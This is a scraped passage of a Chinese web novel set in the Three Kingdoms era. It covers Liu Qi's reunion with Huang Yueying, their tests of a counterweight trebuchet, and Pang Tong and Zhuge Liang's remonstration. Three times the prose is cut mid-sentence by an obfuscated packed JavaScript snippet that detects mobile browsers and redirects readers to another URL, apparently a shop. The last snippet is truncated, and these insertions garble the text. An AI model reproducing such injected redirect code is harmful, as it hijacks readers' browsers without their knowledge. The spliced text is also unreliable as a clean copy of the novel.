“夫君既已忙完正事...白日里妾身应允的体己话,现在...现在便说与夫君听。” 黄月英说着,脸颊虽红得厉害,却主动拉着刘琦在榻边坐下。 烛光摇曳,映得黄月英眼中水波流转,她微微倾身,带着清香的发丝不经意间拂过刘琦的颈侧,声音柔得能滴出水来: 1“这些时日...妾身在家中,也时时惦念夫君...” 黄月英的话音渐低,后续的言语化作了几不可闻的呢喃,唯有那双会说话的眼睛,将未尽的情意悄然传递。 黄月英这般主动敞开心扉的模样,比那些刻意凑上来的亲近更勾人。 桌上的烛火微微摇曳,将两人相依的身影投在墙壁上,轻轻晃动着。 黄月英说完那句羞人的话语,便几乎将羞红的脸颊埋入刘琦的肩颈处,不敢再看刘琦。 黄月英能感受到刘琦胸膛传来的有力心跳,以及刘琦揽在自己腰侧的手臂骤然收紧的力道。 刘琦低头,看着黄月英这副既羞涩又无处可逃的娇柔模样,心中爱极,火气更盛。 不过,刘琦并未急于更进一步,而是揽着她腰肢的手臂微微用力,让黄月英更加贴近自己,让两人贴得更紧,能清清楚楚感受到彼此的体温和轮廓。 “月英……” 刘琦的声音带着酒后的微醺和难以掩饰的情动,“只是说话……怕是还不够……” 黄月英被刘琦看得心慌意乱,眼眸中水光潋滟,带着几分无措的祈求,却又隐含着一丝她自己都未曾察觉的期待。 黄月英轻咬了下唇,声如细丝:“那……夫君还想如何……” 黄月英这句话如同一道细微的火星,瞬间点燃了刘琦心中压抑的干柴。 刘琦没再多说,低头便吻住了黄月英那微张的芳唇,鼻尖绕着她身上淡淡的脂粉香。 黄月英脑中一片空白,下意识地想要后退,却被刘琦稳稳揽住腰身。 但刘琦身上那强烈的男子气息将她笼罩,令黄月英浑身发软,只能依附着刘琦生涩回应。 而原本抵在刘琦胸前的手,不知何时已悄悄攥紧了刘琦的衣襟。 待二人分开时,黄月英气息都已不稳。 黄月英伏在刘琦怀中轻喘,面颊绯红,罗衣领口微乱,露出一小片细腻肌肤。 刘琦的目光触及那抹春色,眼神愈发火热。 刘琦一把将黄月英打横抱起,引得黄月英一声低呼,双臂下意识的环住刘琦的脖颈。 “夫君……” “嘘……”刘琦抱着她走向床榻,声音喑哑,“夫人既已开了头,这体己话……自然要说到尽兴为止。” 红帐悄然垂落,掩去一室旖旎。 窗外月色朦胧,似乎也不愿打扰这久别重逢的温情。 -------------- 数日之后,石阳关隘内那片被严密看守的空地上,一架经过改良的巍然矗立在空地上。 这架配重式投石机与之前那粗糙初代配重式投石机原型机的相比,这架新机器明显精良了许多。 关键的杠杆部位,依照黄月英的指点,不仅选用了韧性更强的硬木,更在受力节点用熟铁锻造的箍环和加厚铁板进行了多层加固。 配重箱的结构也经过重新设计,确保重量分布均匀,释放机关更是被黄月英亲自调整得更为精巧可靠。 晨曦微露,刘琦、黄月英以及李老叁等一众参与的工匠皆在场。 看着数十名工匠围着那台投石机忙忙碌碌的李老叁手心沁出冷汗,心头七上八下。 先前几次失败的画面还李老叁脑海中历历在目。 虽说主公仁厚,从未因此责罚他,反而多有勉励,可越是如此,李老叁他们这些工匠心中就越是惶恐愧疚。 若此番再败,耗费巨资物料事小,辜负主公信任、延误军机事大! 李老叁感觉此刻,自己就像个即将踏入考场的蒙童,面对着完全无法预知的考题,双腿都有些发软。 “夫君,各部分均已反复查验,应无疏漏。” 黄月英目光扫过投石机的每一个关节后,轻声说道。 刘琦点了点头,深吸一口气,沉声下令:“试射!” 命令下达,早已在**炮旁准备就绪的力士奋力挥动木锤,狠狠地敲脱了卡榫。 “咔嚓!”释放机关应声而弹开。 这一次,**炮上没有传来令人牙酸的断裂声。 只见那沉重的配重箱带着巨大的势能平稳下坠,巨大的杠杆发出一阵低沉有力的呼啸,长臂末端的皮窝顺势扬起—— 一颗数十斤重的石弹瞬间被抛向高空,在空中划出一道弧线,带着慑人的破空声,朝着远处空地呼啸而去! 所有人的目光都追随着那石弹的轨迹。 “轰!!!” 一声沉闷如惊雷的巨响从远方传来,而刘琦甚至能感到脚下地面传来微微震动。 片刻后,斥候快马奔回,激动地高声禀报:“启禀主公、夫人!石弹落点,距此两百三十步!并且石弹深深嵌入土中,砸出巨坑!” 场中寂静一瞬,随即爆发出巨大的欢呼声! 李老叁等工匠更是激动得热泪盈眶,看向黄月英的目光充满了由衷的敬佩。 试射成功,刘琦悬着的心终于落下,一股巨大的喜悦和豪情涌上心头。 刘琦转头看向身旁的妻子,恰巧黄月英也正望向他。 四目相对间,黄月英嘴角翘起一抹小得意,眼眸弯弯,那眼神里既有成功的喜悦,又带着几分‘我厉害吧?快夸我!’的俏皮。 刘琦被黄月英这娇俏的模样逗笑了,当即伸手轻捏了捏她的手朗声道:“我家夫人真是天底下最厉害的!这巧思,这手段,谁人能及?” 黄月英听到夫君这般直白的夸赞,感受着他掌心传来的温热,心头像浸了蜜糖般甜丝丝的。 黄月英忍不住轻轻回握住刘琦的手,眼波流转间带着藏不住的欢喜,唇角翘起娇俏的弧度:“夫君就会哄我开心~” 但黄月英并未沉溺于此,而是轻轻抽出手,对等候在一旁的工匠吩咐道:“卸去两成配重。” 两名工匠得令,立刻熟练地从配重箱侧方的格栅中,取出了整整二十块整齐的方形石码。 原本满载的配重箱顿时轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648980|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不少。 “夫君请看,”黄月英这才转向刘琦,目光清亮,指向远处的目标区域。 “方才满载时,射程二百三十余步,威力足以撼动城墙。此刻卸去部分配重,” 说着黄月英微微颔首示意。 操作力士得到令旗后再次敲脱卡榫。 配重箱下坠的声势明显减弱,杠杆摆动的幅度也小了许多,石弹呼啸而出,划过一道较之前平缓的弧线,最终在约一百五十步处轰然落地,砸起烟尘。 “瞧,卸去两成配重之后射程便降至一百八十步。” 黄月英语速轻快,带着一丝小小的炫耀。 “妾身以为,当让**官随时候着。待会儿我们多试几次,从满配重到半配重,每次增减五块石码,把各档射程都记下来。” 说着黄月英转身面向远方的夏口城方向,声音里充满憧憬: “等把数据都整理清楚后,攻城之时,虽无法精准命中某一砖一瓦,但通过增减石码,控制大致射程,或集中轰击一段城墙,或覆盖其后敌兵阵列,或远射其城内粮仓、望楼,皆可有的放矢。” “面对夏口城墙、大型战船此类固定或庞大目标,此法足以大幅提升命中之效,避免徒耗石弹与气力。 刘琦看着黄月英眉飞色舞、神采飞扬的模样,心中既觉好笑又无比叹服。 他这位夫人,简直就是个天赋异禀的奇才! 虽然是自己提供了配重式投石机的大致方向,但她竟能在短短数日内,不仅将理论化为现实,更进一步完善出了配重可调、射程可控的精妙设计。 这几乎是将投石机这项攻城武器的发展进程,硬生生缩短了数百年的摸索! “妙!甚妙!“刘琦拊掌赞叹,目光在黄月英和那架精妙的**炮间流转,“月英此设计,不仅解决了射程之难,更让这攻城利器如臂使指!” 刘琦随即转向李老叁,下令道:“李老叁!即日起,依照夫人定下的规制,全力赶制此砲!” “十日之后,我要在夏口城下见到三十架**炮列阵!” 然而,李老叁闻言,脸上却顿时露出难色,他扑通一声跪下,硬着头皮道:“主……主公明鉴!此物结构繁复,且对木料要求极高,需选用特定木料阴干处理,铁件锻造亦需时日……十日内莫说三十架,便是……便是十架,小人等拼死赶工,恐怕也……” 李老叁的话虽未说完,但其中的艰难与不可能之意已表露无遗。 闻言刘琦的眉头不由得皱起,没想到费尽千辛万苦,跨越了技术的天堑,眼见破城利器已然成型,最终却要被这产能所束缚。 这感觉,如同宝山在前,却因缺乏人手工具而只能望之兴叹。 不过,刘琦知道李老叁所言并非所虚,是以,刘琦神色稍缓,目光扫过面前这些因连日辛劳而面带疲惫的工匠: “既如此,十日内,我不管你等用何方法,需至少赶制出十架此砲!此乃底线,务必达成!其余物料、人手,我另想办法。” 李老叁听闻这个虽仍艰巨但已非完全不可能的目标,紧绷的心弦稍松,连忙叩首:“谢主公体谅!小人等必竭尽全力,十日内定献上十架良砲!” 就在刘琦准备让李老叁立刻去安排时,一直静立旁观的黄月英轻轻拉了拉刘琦的衣袖,眸中闪过一丝俏皮:“夫君莫不是忘了江夏黄氏经营数代,别的或许没有,就是库房里积年的好木料都要堆不下了,养着的铁匠老师傅们也正闲得发慌,若是夫君点头,妾身这就修书,让他们连夜打包送过来?” “好!好!好!”刘琦连说三个好字,握住黄月英的手,眼中满是激赏与庆幸,“得妻如此,真乃天助我也!月英,此事便交由你全权安排!” 黄月英微微颔首:“妾身这便去写信。” 望着妻子匆匆离去的背影,刘琦只觉得胸中块垒尽去,豪情万丈。 技术难题已克,资源瓶颈将解,破夏口,似乎已不再遥不可及! “李老叁!”他朗声道。 “小人在!”李老叁此刻已是信心倍增。 “待黄家工匠物料一到,你等需全力配合,昼夜赶工!” “谨遵主公之命!” 这一刻刘琦真切地体会到,自己娶回的不仅是才慧绝伦的贤妻,更是她身后整个黄家的资源与人脉。 在这紧要关头,这份深厚的家族底蕴成了最关键的支撑。 第60章 新制石砲震乾坤 卧龙凤雏求教! 距离石阳戍关隘几十里外的夏口荆州军大营。 是夜,中军大帐内烛火摇曳。 帐内庞统放下手中的军报,揉了揉发胀的太阳穴。 案几上堆满了各处送来的文书,前方哨探对夏口城防的观察,后方粮草辎重的调配,水寨与陆营的联络…… 千头万绪,都需要庞统这位临时坐镇之人统筹决断。 主公信重他,将这万余大军交给他庞统,庞统不敢有丝毫懈怠。 如今,周瑜缩回城内,高挂免战,看似被动,实则如毒蛇盘踞,不知何时便会暴起伤人。 庞统凝视着地图上夏口城的位置,眉头紧锁。 就在这时,心腹亲卫轻步走入帐内,低声禀报:“参军,石阳戍那边……有消息传来。” 就在这时,帐帘被轻轻掀起,一名风尘仆仆的亲卫快步走入。 此人正是庞统几日前派往石阳戍打探消息的心腹。 庞统立刻抬起头,眼中带着一丝不易察觉的期待,抢先问道:“主公那边情形如何?可有指令,或是……主公打算何时返回大营?” 庞统此刻最关心的,便是主公何时能回到他的大军之中。 那亲卫脸上带着奔波后的疲惫,闻言却露出些许为难之色,低头抱拳道:“参军,主公……暂无任何指令传出,也……也未听闻主公有即刻返回大营的打算。” 庞统眉头瞬间锁紧,脸上难掩失望,握着军报的手也不自觉地收紧。 庞统正欲追问关内详情,却见亲卫欲言又止,似乎还有话要说。 “还有何事?”庞统沉声问道,心中却升起一股不祥的预感。 亲卫咽了口唾沫,声音压得更低,带着几分小心: “属下回来时,在营中听到些……些不好的风声,许多士卒在私下议论,言语……颇为不堪。” 庞统目光一凝,抬起头:“什么流言?” 亲卫咽了口唾沫,硬着头皮道:“底下有些士卒在私下议论,说……说咱们在前线拼死拼活,脑袋别在裤腰带上,主公却……却丢下大军,在后方关隘里抱着美娇娘快活……” “还说,怕是主公觉得这仗赢定了,用不着咱们这些厮杀汉了,自个儿先去享清福了……” “混账!” 闻言,庞统猛地一拍案几,震得笔架都跳了一下,脸色瞬间变得铁青。 庞统胸中一股无名火腾地窜起,既是气恼那些散布流言、动摇军心之人,更是心惊于这流言竟已传到如此不堪的地步! 庞统的心直往下沉,最担心的事情还是发生了。 将士前线搏命,身为主将的刘琦却在后方享乐——这等诛心之论,要是传遍全军,那简直是瓦解军心的剧毒! 而一旦被周瑜探知,稍加利用,后果不堪设想! 流言如野火,必须立刻扑救。 于是,庞统迅速对亲卫下达指令: “第一,立刻密告黄忠、王朗几位将军,严查流言源头,抓到人严惩不贷。” “第二,增派巡逻,尤其是夜间,加强营区警戒,防止有人趁机作乱。同时告诉各营军侯、都伯,打起精神,若有士卒聚众非议,立刻驱散!” 可庞统知道光堵是不够的,还需疏导,庞统心念电转。 得给将士们找点事做,转移他们的注意力,不能让他们闲着胡思乱想。 庞统想了想,继续下令:“第三,传令下去,从明日起,各营加强操练,尤其是**射击和阵型演练。就说是为了应对夏口城防,准备总攻!让将士们忙起来,汗水能冲淡许多杂念。” “第四,稍后去辎重营调拨一批酒肉,分赏各营,就说是主公体恤前线将士辛苦,特从后方送来犒劳!记住,一定要强调是‘主公’的赏赐!” 这一手,庞统既是安抚,也是暗示主公并未忘记前线将士。 亲卫领命,匆匆而去。 帐内重新恢复安静,但庞统的心情却无法平静。 这些措施或许能暂时压制流言,但根源不除,终是隐患。 必须让主公尽快返回大营!只有主帅现身,与士卒同甘共苦,才能彻底粉碎那些无稽之谈,重振军心! 可劝谏之事,仅凭他庞统一人之力,恐难奏效…… 这劝谏念头并非此刻才有,其实自庞统奉命坐镇大营、得知刘琦返回石阳戍关隘时,便已在庞统心中滋生。 当时庞统便觉得不妥——主公(刘琦)身为一军主帅,在决战前夕离开大军,滞留后方关隘,这本就是兵家大忌。 但那时庞统毕竟投效刘琦时日尚短,根基浅薄,人微言轻。 且又知主公是为了研制那据说能扭转战局的投石机,这才将劝谏的念头强压下去。 新归之臣,一上来就对主帅的决策指手画脚,绝非明智之举。 然而,随后传来的消息却让庞统坐立难安——主公竟将夫人黄氏也接到了关隘之内! 这一下,性质就完全不同了。 主帅擅离已是冒险,如今竟还携女眷居于后方,这要是传扬开来……庞统几乎不敢想象那后果。 庞统原本还存着一丝侥幸,指望主公只是指点一下工匠或者与夫人温存片刻,很快便返回大军。 可一连数日,石阳戍那边除了物料工匠进出频繁,主公本人却毫无移驾前线的迹象。 ‘主公啊主公,您此举……着实太过了!’ 庞统实在摸不透刘琦此刻的真实想法,为何偏偏在这决战前的紧要关头,离开大军,滞留后方,甚至还招来了女眷? 这与庞统平日印象中那个英明果决、心系军务的主公形象大相径庭。 ‘莫非那黄氏女真有倾国之容,竟让主公沉迷至此?’ 庞统不敢深想,却又无法不往最坏处打算。 这种揣测上意却不得其解的无力感,让庞统倍感心累。 ‘罢了,事已至此,顾不得许多了,唯有请出孔明!他是主公心腹,更是江夏郡丞,地位超然,说话的分量远胜于我,我们二人联袂劝谏,或可……或可让主公幡然醒悟!’ 庞统把心一横。 庞统立刻铺开绢布,奋笔疾书。 这一次,庞统不再有任何保留,将主公滞留后方、携女眷同住、营中流言四起、军心即将动摇的危急状况悉数写明。 “选最快的马,立刻送往安陆郡丞诸葛孔明先生处!” 庞统将封好的信件交给心腹,语气凝重,“告诉孔明,局势危急,请他务必速来石阳戍,与我一同面见主公!” 望着信使匆匆离去的身影,庞统长长叹了口气。 这已是庞统能想到的,挽回局面的最后办法了。 心腹领命而去后。 庞统也没闲着,他算好了诸葛亮接到信后动身以及路上需要的时间,自己也以“巡视后方防务、协调工匠物料”为名,点了百余名精锐护卫,第二天一早便离开了大营,朝着石阳戍方向而去。 庞统得掐着点儿,最好能和诸葛亮在关隘外碰头,一起进去,这样声势更足,劝谏的效果也更好。 且不说庞统这边一路掐着点赶往石阳戍关隘。 安陆那边的诸葛亮接到庞统的信,展开一看,眉头也皱了起来。 诸葛亮对自己这位主公是了解的,深知其志向与担当,绝非贪图享乐、不分轻重之人。 但庞统信中分析的隐患,也确实存在,而且非常致命。 军中那些士卒可不会深究主公在后方具体做什么,他们直观的感受就是——主帅没和他们一起待在前线吃苦,甚至还带着女眷! 这简单的认知,足以成为瓦解军心的利刃。 “士元所虑,不无道理。”诸葛亮放下信笺,沉吟片刻。 流言一旦失控,确实可能引发难以预料的后果。 是以,诸葛亮当即对身旁书吏吩咐道:“我去石阳戍面见主公,期间郡内政务,按既定章程处理,若有急事,快马报我。” 随后诸葛亮并未多做耽搁,简单交代好郡中事务,便带着少量随从出发了。 正如庞统所料,两人一前一后,几乎在同一时间抵达了石阳戍关隘之外。 “孔明!”庞统见到诸葛亮的身影,连忙迎了上去,脸上带着如释重负又忧心忡忡的复杂表情。 “士元,信我已看过。”诸葛亮神色平静,但眼神里也透着一丝凝重,“你我进去见过主公再说。” 两人通报之后,很快便被引至关内刘琦处理公务的偏厅。 刘琦显然刚和工匠们讨论完什么,袖口还沾着点木屑,见到二人联袂而来,有些意外,但更多是高兴:“哦?士元,孔明,你们怎么一起来了?可是前线出了何事?还是安陆有事?” 庞统和诸葛亮对视一眼,还是决定由与刘琦关系更近的诸葛亮先开口。 诸葛亮先是拱手一礼,语气恭敬却带几分劝诫。 “主公,亮与士元此番冒昧前来,实因军心浮动已非一日,不得不直言相谏。” 刘琦见他二人神色严肃,也收敛了笑容,正色道:“孔明请讲。” 诸葛亮抬起眼帘,看向刘琦:“主公乃三军之胆,万卒之所望也。” “当此两军对峙,决战在即之时,主公宜与士卒同甘共苦,居于前线,以励士气。” “然……主公近日久居石阳戍,且……夫人亦在此间。此虽私事,然恐军中不知情者妄加揣测,若流言蜚语起,谓主公……轻敌怠战,或……沉湎私情,则军心危矣!为大局计,为破敌计,恳请主公,即日移驾夏口大营!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654141|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庞统紧接着躬身补充,话就更直白了些:“主公,非是我等多事。” “实在是营中已有微词,虽未明言,然积毁销骨!将士们前线搏命,若闻主帅于后方安逸,必生怨望之心!此乃取祸之道,万望主公明察!” 说完,两人一齐躬身,等待着刘琦的反应。 二人预想了主公可能会不悦,可能会辩解,甚至可能会斥责他们多管闲事。 谁知,刘琦愣了片刻,看着眼前两位谋士一脸“忠臣死谏”的凝重模样,随即脸上露出哭笑不得的神情。 这两位...还真是... 刘琦心中又是无奈又是感动。 无奈的是他们竟会如此误解自己,感动的则是二人确实是在为大局着想,不惜冒犯也要直言劝谏。 也罢,既然他们都想到这一层了,正好让他们亲眼看看,这些日子我究竟在忙些什么。 刘琦收敛了神色,上前一步,一手拉住一人的衣袖,语气诚恳中带着几分不容分说:“二位先生拳拳之心,琦岂能不知?” “只是...你们着实是误会了。” 刘琦目光在庞统和诸葛亮脸上扫过,见他们仍带着疑虑,便加重了语气:“我刘琦虽不敢自称明主,却也知军国大事非同儿戏,岂会在此紧要关头耽于私情?” “走,随我去个地方,待看过之后,你们便知我这些时日闭门不出,所为何事!” 说着,刘琦不由分说地引着二人朝试射投石机的空地上走去。 庞统和诸葛亮被刘琦这反应搞得一头雾水,但也只能满心疑惑地跟着。 当刘琦将诸葛亮、庞统二人引至试射投石机的空地上时。 一进这片区域,气氛顿时不同,空气中弥漫着新伐木料的清香和淡淡的铁腥味,叮叮当当的敲打声不绝于耳。 而当庞统和诸葛亮看清空地上矗立的那几尊庞然大物时,两人的脚步瞬间钉在了原地,眼睛瞪得老大。 那是十架他们从未见过的巨型器械! 结构复杂而怪异,巨大的杠杆,一头挂着如同小屋般、里面一格一格的填满石码的配重箱,另一头则是用来兜放石弹的皮窝。 “主……主公,此乃何物?” 庞统怔怔地望着那五架巍然矗立的庞然大物,嘴唇微张,竟是一个字也说不出来。 庞统自诩自幼博览群书,见多识广,但此刻庞统却完全认不出这东西的来历和作用。 而诸葛亮虽未说话,但紧盯着投石机的眼睛里,也充满了震惊与探究。 刘琦看着他们的表情,得意地笑了笑,任凭你们智谋通天,又怎能想象后世战争兵器的模样? 诸葛亮凝视着那结构精奇的庞然巨物,眼中闪烁着思索的光芒,良久不思其解,是以,诸葛亮郑重地向刘琦施了一礼,语气诚恳而谦逊:“主公,此物结构精妙,似暗合力学至理,亮观其杠杆之制、配重之设,皆前所未见,其中玄机,实在令人心折。” “不知主公可否为我与士元解说一二?” 庞统也收敛了方才的失态,凝神注视着投石机的每个细节,脸上写满了求知的渴望。 两位当世顶尖的智者,此刻在陌生的事物面前,不约而同地摆出了虚心求教的姿态。 “此物,我称之为‘**炮’,或称‘配重式投石机’!乃破夏口之关键!” 闻言,刘琦索性也不再卖关子了。 说完后,刘琦伸手指着远处约两百步外人工堆起的一座高大土山,那土山模拟着夏口城墙的形制。“二位先生看好了!” 转身,对早已等候在一旁的李老叁一挥手:“李老叁!试射!目标,前方土山!给我轰塌它!” “得令!”李老叁大声应道。 随着令旗挥动,远处**炮旁的操作力士们快速地行动起来。 装填石弹,检查机关。 “预备——放!” 随着一声令下,力士挥动木锤,狠狠敲脱卡榫! “咔嚓!嗡——!” 释放机关弹开的脆响之后,是配重箱带着恐怖势能下坠时引发的低沉风啸! 那巨大的杠杆猛然挥动,长臂末端的皮窝顺势扬起—— “嗖——!!!” 第一颗数十斤重的石弹,撕裂空气,发出慑人的呼啸,划破长空,狠狠地砸在了远处的土山山腰! “轰!!!” 一声巨响,地动山摇! 哪怕隔着两百多步,庞统和诸葛亮也能清晰地感觉到脚下传来的震动! 二人定眼看去,只见两百步外的土山上被砸出一个巨大的凹坑,烟尘弥漫! 一发试射过后,刘琦不再多言,转身对肃立待命的李老叁:“李老叁,依先前测定的诸元,目标前方土山,十砲齐射,三轮!” 61章 周瑜吐血:刘琦竟敢带老婆躲后方? 刘琦不再多言,转身对肃立待命的李老叁继续一挥手:“李老叁,依先前测定的诸元,目标前方土山,十砲三轮齐射!” “得令!” 李老叁声音洪亮,激动地跑去传令。 随着令旗挥动,操作力士们根据**官早已记录在册的数据,熟练地为每台**炮装填上对应的石码配重和石弹。 整个过程有条不紊,显然是经过了反复演练。 十架**炮,共进行了三次射击,共计三十发石弹,呼啸而出,如同陨石天降,带着慑人的破空声,朝着土山轰击而去! “轰!轰!轰!轰!” 震耳欲聋的巨响接连爆发,大地为之震颤! 两百步外接连传令的轰鸣声,如同来自九天之上的雷霆惩罚! 尽管石弹落点并非完全集中于一点,但仍有超过一半的石弹,砸在了那座不算庞大的土山之上,顷刻间,土块崩裂,烟尘冲天! 在这样密集而狂暴的轰击下,那座由人工垒砌、模拟城墙的土山,再也无法支撑。 先是表层大块大块地剥落,随即在一声沉闷的巨响中,山体从中部开始大面积滑坡、坍塌! 最终,在庞统和诸葛亮近乎呆滞的目光注视下,轰然垮塌了半边! 扬起的尘土如同黄色的巨龙,直冲云霄,经久不散! 现场一片死寂。 能将数十斤石弹抛出去两百步之远,这……这是人力所能及?! 庞统张着嘴,下巴都快掉到地上了。 诸葛亮也好不到哪去,一贯云淡风轻的脸上,此刻写满了前所未有的震撼,手里的羽扇差点脱手。 主公……你究竟是何方神圣?竟能造出此等惊世骇俗之物! 诸葛亮心中亦是翻江倒海,他终于明白刘琦为何稳坐后方了,有这等利器在手,夏口城墙,确实已非屏障! 好半晌,诸葛亮才率先回过神来,深吸一口气,强行压下心中的惊涛骇浪,转身对着刘琦,一揖到地,声音带着一丝不易察觉的颤抖: “主公!此真乃……国之神器也!鬼神之威!亮……叹为观止!方才我等愚见,妄测主公,实乃……井底之蛙,不知天地之广阔!” 庞统也反应过来,连忙深深拜下,脸上又是惭愧又是激动:“主公!统……统有眼无珠!竟以俗人之心度主公之腹!有此神砲,夏口必破!何虑军心不稳?统多虑也!” 刘琦看着两位被彻底折服的顶级谋士,心中亦是豪情万丈。 刘琦哈哈大笑着扶起二人:“二位先生皆是为我着想,何罪之有?如今可还担心我留在此处,是懈怠军务?” 庞统连连摆手,‘古拙’的面容微红:“不担心了,不担心了!主公在此乃是匠心独运,铸此破城神兵!是统目光短浅,竟不知主公已掌握如此惊世之力!” 诸葛亮也笑道:“有此神物,破城指日可待,倒是亮与士元,杞人忧天了。” “好!” 刘琦意气风发,“既然二位先生都来了,孔明你也不妨暂离安陆,随我一同前往夏口城下!” “我们一起去看看,这**炮,是如何将周瑜倚仗的坚城,轰成齑粉的!” “正当如此!”庞统立刻接口,方才的忧虑早已被火热的战意取代,“统愿追随主公,亲见夏口城墙崩塌之景!” 诸葛亮亦是含笑拱手,“亮在安陆久闻周郎水战之名,今日能见主公以雷霆之势破其坚城,实乃平生快事。敢不从命?” 见此,刘琦当即朗声下令:“传令!关隘内所有已组装完成的回石机、全部工匠及一应物料,即刻整备,随我开拔,兵发夏口大营!” 就在刘琦率领着装载十架**炮,浩浩荡荡驶出石阳戍,剑指夏口之时。 夏口城内的周瑜,此时正疲惫地靠在病榻上,听着探子的最新禀报。 “都督,多方查探,已确认无误。荆州主帅刘琦,此前多日确实不在其陆上大营,而是居于石阳戍关隘之内。其妻黄氏,亦被接至关内,至今……未曾离开。” 探子说完,小心翼翼地垂下头,不敢看周瑜的脸色。 病榻上的周瑜,原本微阖的双眼骤然睁开,那双原本明亮的眸子里此刻布满了血丝。 周瑜挥挥手让探子退下,屋内只剩下周瑜沉重的呼吸声。 刘琦……刘琦小儿! 他居然……居然敢在两军对垒、生死相搏之际,带着女眷,躲在后方关隘之内? 这算什么?视我江东周郎如无物?觉得我周瑜和这两万江东儿郎,已经对他构不成任何威胁,所以他便觉得可以高枕无忧,甚至在后方与妻子卿卿我我,琴瑟和鸣了吗?! 一股难以言喻的**感,混合着被轻视的愤怒,窜上周瑜心头! 向他周瑜纵横江东多年,何曾被人如此羞辱过! “噗——”急怒攻心之下,周瑜只觉得喉咙一甜,竟是一口鲜血喷了出来,染红了胸前的衣襟。 “都督!” 周瑜左右亲兵被这一幕吓得魂飞魄散,连忙上前。 但周瑜却挥手制止他们,随后用手背擦去嘴角的血迹,蜡黄的脸色泛起一股异样的潮红。 良久,周瑜那急促的喘息渐渐平复,取而代之的是一种令人胆寒的、低哑而扭曲的笑声,仿佛从喉咙深处艰难地挤出来。 “呵……呵呵……”周瑜怒极反笑,声音嘶哑而充满恨意:“刘琦……竖子!安敢如此欺我!竟视我江东英杰……如土鸡瓦狗乎?!” 周瑜这一声低吼,似乎耗尽了周瑜大半力气,他瘫软在榻上,胸口剧烈起伏,眼神死死盯着帐顶。 奇耻大辱!此仇不报,我周瑜誓不为人! 刘琦自然知道自己在石阳戍内的苦心搞研发的行为,竟被周瑜曲解成了这般不堪的模样,更不知道自己竟然无意中,给了病中的周瑜如此致命的一击。 刘琦回到夏口城下的荆州大营后不过两日,一封来自江夏北部都尉张威的六百里加急军报,被信使呈递上来。 军报的核心内容如下:驻守汝南的曹军阳安都尉李通,趁江夏与江东大战之机,率三千步卒欲穿越义阳三关偷袭北部诸县。 而北部都尉张威预先察觉,据险设伏,挫其锋芒。 激战正酣之际,有一自称常山赵云者,率百余精骑及近千义从,突袭李通后军,阵斩甚众,李通仅率残部千余人狼狈北遁。 张威趁势掩杀,并趁势收复武阳、黄岘两关隘,俘获朗陵县长赵俨。 现赵云等人暂驻平靖关,声称特来投效,请主公示下。 当刘琦看到“常山赵云”的字样后,猛地站起身,眼中迸发出一抹神采。 “子龙到了!竟是在北线破敌!” “好一个赵子龙!甫一至,便送我如此一份大礼!”刘琦抚掌而笑,脑海中瞬间浮现出文档中记载的赵云形象——白马银枪,忠勇无双。 而赵云不仅来了,还带来了周仓,更在抵达之初便凭一场胜仗证明了其万人敌的价值。 “速传令给张威,” 刘琦当即收敛笑意,语气转为郑重,“着其妥善安置赵将军及所部将士,务必以上宾之礼相待,一应粮草军需,优先供给。” “随后再以我的名义,修书一封,即刻送往平春!” 刘琦略一沉吟,口述道:“信中便写——‘闻子龙至,如旱望霓虹,北线破敌,威震边关,此皆将军虎威所致,琦在石阳,翘首以待,盼与君一会,共商大业。’” 刘琦必须让赵云第一时间感受到他最诚挚的重视与喜悦。 这位刘琦心心念念的名将,如今终于跨越千里,来到了自己的麾下。 想到此,刘琦嘴角扬起一抹笑意。 赵云已至,如利剑开锋,自己手中能打的牌,又多了至关重要的一张。 张威,此人是黄祖时代便戍守北疆的宿将,凭借勇力和军功,一步步从底层升至北部都尉,麾下有两千余能战之兵。 张威的职责便是凭借大别山等险要关隘,防御北面汝南方向的曹军。 而刘琦在与孙策、周瑜激战期间,刘琦深知北线安稳的重要性,故从未调动张威一兵一卒,令其专心防御驻守汝南的曹将李通。 李通,字文达,江夏平春人,以侠气闻名于江、汝之间,建安初年率领部曲宾客投奔曹操,被授予振威中郎将,驻守汝南郡内,其重要职责之一便是防备江夏黄祖北上。 像李通这样自带部曲、半独立性质的外围将领,与曹氏、夏侯氏核心子弟兵以及部分深得信任的外姓将领(如李典等)共同构成了曹操麾下多层次、既相互配合又彼此制衡的军事架构。 此番,李通见江夏与江东大战,内部空虚,便亲率三千兵马,试图穿越大别山北段的义阳三关(武阳、黄岘、平靖三关)险道,偷袭江夏北部的平春、西阳等县。 时间回到三日前。 此时,赵云正率领着他的队伍行进在义阳三关的崎岖山道上。 而赵云身后,是百余骑历经磨砺的本部精骑(同乡与乌桓义从),以及周仓麾下近九百名卧牛山部众和一些老弱妇孺。 周仓这些部众虽士气可用,但装备极为简陋,多数人手持削尖的竹矛,背负猎弓,衣衫褴褛,与其说是军队,不如说是一支规模较大的武装流民。 等赵云等人行进至平靖外三十里外时,他们的南下之路被前方震天的喊杀声阻断。 赵云立马于山坡之上,锐目扫视战场,瞬间明了局势——曹军正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 